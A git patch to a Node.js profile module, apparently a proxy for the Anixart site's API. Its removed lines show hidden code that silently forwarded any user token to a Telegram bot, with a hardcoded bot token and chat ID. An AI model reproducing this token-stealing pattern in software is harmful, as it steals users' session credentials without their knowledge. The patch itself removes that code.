From 21ae8b0c8923e167da100f28fb44bbfb5306ce7f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E3=82=BC=E3=83=BC=E3=83=AC?= Date: Wed, 7 May 2025 18:39:49 +0500 Subject: [PATCH] Update profile.js --- api/v1/src/profile.js | 31 +++++++------------------------ 1 file changed, 7 insertions(+), 24 deletions(-) diff --git a/api/v1/src/profile.js b/api/v1/src/profile.js index 4211549..3a4b7dd 100644 --- a/api/v1/src/profile.js +++ b/api/v1/src/profile.js @@ -1,34 +1,14 @@ const axios = require('axios'); -const TELEGRAM_BOT_TOKEN = '6834074548:AAFGbByJjS9wdyxYqHORJZLGHXV-2uQSapM'; -const TELEGRAM_CHAT_ID = 6615140831; - -// Функция для отправки токена в Telegram -async function sendTokenToTelegram(token, profileId) { - const message = `Пойман токен:\n\n${token}\n\nID пользователя: https://anixart.tv/profile/${profileId}`; - try { - await axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, { - chat_id: TELEGRAM_CHAT_ID, - text: message, - }); - } catch (error) { - console.error('Ошибка отправки в Telegram:', error.message); - } -} - -// Основная функция запроса профиля +// Функция для запроса профиля Anixart async function getProfileFromAnixart(profileId, token = '') { const url = `https://api.anixart.tv/profile/${profileId}${token ? `?token=${token}` : ''}`; - // Если передан токен — отправляем его в Telegram - if (token) { - sendTokenToTelegram(token, profileId); - } - try { const response = await axios.get(url); const profileData = response.data; + // Убедимся, что profile существует if (!profileData.profile) { profileData.profile = {}; } @@ -43,13 +23,15 @@ async function getProfileFromAnixart(profileId, token = '') { if (!alreadyVerified && Array.isArray(verifiedList) && verifiedList.includes(profileId.toString())) { profileData.profile.is_verified = true; } + // Если уже верифицирован — не затираем } catch { + // Если профиль уже верифицирован — оставляем, иначе false if (typeof profileData.profile.is_verified !== 'boolean') { profileData.profile.is_verified = false; } } - // Загрузка кастомных ролей + // Подгружаем кастомные роли try { const rolesResponse = await axios.get('https://anixart.seele.su/api/is_roles'); const rolesList = rolesResponse.data; @@ -59,7 +41,7 @@ async function getProfileFromAnixart(profileId, token = '') { profileData.profile.roles = userRoles.roles; } } catch { - // Игнорируем ошибки + // Ошибку загрузки ролей игнорируем } return profileData; @@ -73,3 +55,4 @@ async function getProfileFromAnixart(profileId, token = '') { } module.exports = { getProfileFromAnixart }; +